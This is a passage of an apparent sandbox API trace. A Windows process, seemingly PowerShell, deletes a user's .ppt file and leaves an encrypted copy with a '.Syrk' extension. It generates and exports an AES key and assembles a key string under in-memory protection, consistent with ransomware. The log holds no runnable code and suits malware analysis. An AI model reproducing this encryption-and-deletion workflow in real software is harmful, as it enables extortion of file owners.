lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0211.838] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.838] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.839] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0211.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0211.839] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0211.839] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0211.839] CoTaskMemFree (pv=0x5c7e518) [0211.842] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0211.842] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.842] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0211.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt"), fInfoLevelId=0x0, lpFileInformation=0x233cc34 | out: lpFileInformation=0x233cc34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc05b2b0, ftCreationTime.dwHighDateTime=0x1d98d3e, ftLastAccessTime.dwLowDateTime=0xf1085f30, ftLastAccessTime.dwHighDateTime=0x1d99088, ftLastWriteTime.dwLowDateTime=0xf1085f30, ftLastWriteTime.dwHighDateTime=0x1d99088, nFileSizeHigh=0x0, nFileSizeLow=0x10408)) returned 1 [0211.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0211.843] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 1 [0211.853] EtwEventActivityIdControl () returned 0x0 [0211.854] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.854] EtwEventActivityIdControl () returned 0x0 [0211.854] EtwEventActivityIdControl () returned 0x0 [0211.854] EtwEventActivityIdControl () returned 0x0 [0211.868] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt.syrk")) returned 0x20 [0211.870] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt.syrk")) returned 0x20 [0211.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0211.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", lpFilePart=0x0) returned 0x4f [0211.871] EtwEventActivityIdControl () returned 0x0 [0211.872] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.872] EtwEventActivityIdControl () returned 0x0 [0211.872] EtwEventActivityIdControl () returned 0x0 [0211.872] EtwEventActivityIdControl () returned 0x0 [0211.992] EtwEventActivityIdControl () returned 0x0 [0211.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.994] EtwEventActivityIdControl () returned 0x0 [0211.994] EtwEventActivityIdControl () returned 0x0 [0211.994] EtwEventActivityIdControl () returned 0x0 [0211.999] EtwEventActivityIdControl () returned 0x0 [0211.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.999] EtwEventActivityIdControl () returned 0x0 [0211.999] EtwEventActivityIdControl () returned 0x0 [0211.999] EtwEventActivityIdControl () returned 0x0 [0212.004] EtwEventActivityIdControl () returned 0x0 [0212.005] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.005] EtwEventActivityIdControl () returned 0x0 [0212.005] EtwEventActivityIdControl () returned 0x0 [0212.005] EtwEventActivityIdControl () returned 0x0 [0212.010] EtwEventActivityIdControl () returned 0x0 [0212.010] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.011] EtwEventActivityIdControl () returned 0x0 [0212.011] EtwEventActivityIdControl () returned 0x0 [0212.011] EtwEventActivityIdControl () returned 0x0 [0212.016] EtwEventActivityIdControl () returned 0x0 [0212.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0212.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x234b054 | out: lpFileInformation=0x234b054*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa7393d0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfa7393d0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfa8454e0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x10424)) returned 1 [0212.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0212.024] GetConsoleOutputCP () returned 0x1b5 [0212.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0212.115] GetConsoleOutputCP () returned 0x1b5 [0212.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0212.115] GetConsoleOutputCP () returned 0x1b5 [0212.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.115] GetConsoleOutputCP () returned 0x1b5 [0212.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.116] GetConsoleOutputCP () returned 0x1b5 [0212.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0212.116] GetConsoleOutputCP () returned 0x1b5 [0212.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0212.116] GetConsoleOutputCP () returned 0x1b5 [0212.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.117] GetConsoleOutputCP () returned 0x1b5 [0212.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.117] GetConsoleOutputCP () returned 0x1b5 [0212.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0212.117] GetConsoleOutputCP () returned 0x1b5 [0212.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0212.118] GetConsoleOutputCP () returned 0x1b5 [0212.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.118] GetConsoleOutputCP () returned 0x1b5 [0212.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.118] GetConsoleOutputCP () returned 0x1b5 [0212.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0212.119] GetConsoleOutputCP () returned 0x1b5 [0212.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0212.119] GetConsoleOutputCP () returned 0x1b5 [0212.119] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.119] GetConsoleOutputCP () returned 0x1b5 [0212.120] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0212.120] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0212.121] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0212.121] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2365418*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2365418*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0212.122] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0212.122] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0212.124] EtwEventActivityIdControl () returned 0x0 [0212.124] EtwEventActivityIdControl () returned 0x0 [0212.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.125] EtwEventActivityIdControl () returned 0x0 [0212.125] EtwEventActivityIdControl () returned 0x0 [0212.125] EtwEventActivityIdControl () returned 0x0 [0212.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.129] EtwEventActivityIdControl () returned 0x0 [0212.129] EtwEventActivityIdControl () returned 0x0 [0212.129] EtwEventActivityIdControl () returned 0x0 [0212.133] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cdd0) returned 1 [0212.135] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69200) returned 1 [0212.135] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.135] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0212.136] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x236d194, pdwDataLen=0x5a2e82c | out: pbData=0x236d194*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0212.136] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.137] EtwEventActivityIdControl () returned 0x0 [0212.137] EtwEventActivityIdControl () returned 0x0 [0212.137] EtwEventActivityIdControl () returned 0x0 [0212.138] SysStringLen (param_1="") returned 0x8 [0212.139] SysStringLen (param_1="2") returned 0x8 [0212.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.139] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0212.139] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0212.139] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.139] SysStringLen (param_1="2y") returned 0x8 [0212.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.139] SysStringLen (param_1="ꐰ៥б䥫\뻟ᖜ⋰) returned 0x8 [0212.139] SysStringLen (param_1="ꐰ៥б䥫\뻟ᖜ⋰) returned 0x8 [0212.140] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.140] SysStringLen (param_1="2yd") returned 0x8 [0212.140] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.140] SysStringLen (param_1="컙ۺ志ᅂ柜跭뀬") returned 0x8 [0212.140] SysStringLen (param_1="컙ۺ志ᅂ柜跭뀬") returned 0x8 [0212.140] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.140] SysStringLen (param_1="2ydW") returned 0x8 [0212.140] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.140] SysStringLen (param_1="珅瞑鷚䓥נּ褅服氢") returned 0x8 [0212.140] SysStringLen (param_1="珅瞑鷚䓥נּ褅服氢") returned 0x8 [0212.141] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.141] SysStringLen (param_1="2ydWQ") returned 0x8 [0212.141] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.141] SysStringLen (param_1="ࠏﾌ̾З覃蔵龜") returned 0x8 [0212.141] SysStringLen (param_1="ࠏﾌ̾З覃蔵龜") returned 0x8 [0212.141] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.141] SysStringLen (param_1="2ydWQf") returned 0x8 [0212.141] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.141] SysStringLen (param_1="闺싟됢詵郋犻䷰娈") returned 0x8 [0212.142] SysStringLen (param_1="闺싟됢詵郋犻䷰娈") returned 0x8 [0212.142] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.142] SysStringLen (param_1="2ydWQfD") returned 0x8 [0212.142] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.142] SysStringLen (param_1="벡બ䦷䟪狖跱⤚⼼") returned 0x8 [0212.142] SysStringLen (param_1="벡બ䦷䟪狖跱⤚⼼") returned 0x8 [0212.142] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.142] SysStringLen (param_1="2ydWQfD9") returned 0x8 [0212.142] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.143] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ") returned 0x8 [0212.143] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ") returned 0x8 [0212.143] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ") returned 0x8 [0212.143] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ") returned 0x10 [0212.144] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.144] SysStringLen (param_1="2ydWQfD9Fι鱃겎븭\귛∧) returned 0x10 [0212.144] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.144] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩா鰴闲접鉥扔梺ⲃ") returned 0x10 [0212.144] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩா鰴闲접鉥扔梺ⲃ") returned 0x10 [0212.144] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.144] SysStringLen (param_1="2ydWQfD9F9鱃겎븭\귛∧) returned 0x10 [0212.144] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.144] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ懬窢巐榶怣饪ᚤ") returned 0x10 [0212.144] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ懬窢巐榶怣饪ᚤ") returned 0x10 [0212.145] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.145] SysStringLen (param_1="2ydWQfD9F9r겎븭\귛∧) returned 0x10 [0212.145] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.145] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ츥赋戀᢮簎譳請᧏") returned 0x10 [0212.145] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ츥赋戀᢮簎譳請᧏") returned 0x10 [0212.145] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.145] SysStringLen (param_1="2ydWQfD9F9rY븭\귛∧) returned 0x10 [0212.145] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.146] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩﾚ䘋ꊍ훢쉬") returned 0x10 [0212.146] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩﾚ䘋ꊍ훢쉬") returned 0x10 [0212.146] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.146] SysStringLen (param_1="2ydWQfD9F9rYx\귛∧) returned 0x10 [0212.146] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.146] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ嫣\Ϟ龣칐쁹襖ⱽ⊡) returned 0x10 [0212.146] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ嫣\Ϟ龣칐쁹襖ⱽ⊡) returned 0x10 [0212.146] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.147] SysStringLen (param_1="2ydWQfD9F9rYxk\귛∧) returned 0x10 [0212.147] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.147] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ⩖䃦枝ᓝ婶଄\⋙) returned 0x10 [0212.147] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ⩖䃦枝ᓝ婶଄\⋙) returned 0x10 [0212.147] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.147] SysStringLen (param_1="2ydWQfD9F9rYxkW➭") returned 0x10 [0212.147] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.147] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ鴷傪ু筭泆⹸ઋ辨") returned 0x10 [0212.147] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩ鴷傪ু筭泆⹸ઋ辨") returned 0x10 [0212.147] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.148] SysStringLen (param_1="2ydWQfD9F9rYxkWQ") returned 0x10 [0212.148] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.148] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽") returned 0x10 [0212.148] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽") returned 0x10 [0212.148] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽") returned 0x10 [0212.149] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽") returned 0x18 [0212.149] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.149] SysStringLen (param_1="2ydWQfD9F9rYxkWQSРퟵ蘇脮⮌䖎㰻") returned 0x18 [0212.149] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.149] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽ºᄳ䩭䫅껦닸尅") returned 0x18 [0212.149] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽ºᄳ䩭䫅껦닸尅") returned 0x18 [0212.149] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.150] SysStringLen (param_1="2ydWQfD9F9rYxkWQSzퟵ蘇脮⮌䖎㰻") returned 0x18 [0212.150] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.150] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽瀉필ழᅟ擋끤阆") returned 0x18 [0212.150] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽瀉필ழᅟ擋끤阆") returned 0x18 [0212.150] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.150] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz3蘇脮⮌䖎㰻") returned 0x18 [0212.150] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.150] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽窚ᱎ쐤笝嶰䆫㵲ꈶ") returned 0x18 [0212.150] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽窚ᱎ쐤笝嶰䆫㵲ꈶ") returned 0x18 [0212.150] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.151] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38脮⮌䖎㰻") returned 0x18 [0212.151] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.151] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽䏑巏꾂◯䚩䱆ᙤ⤨") returned 0x18 [0212.151] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽䏑巏꾂◯䚩䱆ᙤ⤨") returned 0x18 [0212.151] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.151] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a⮌䖎㰻") returned 0x18 [0212.151] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.151] SysStringLen 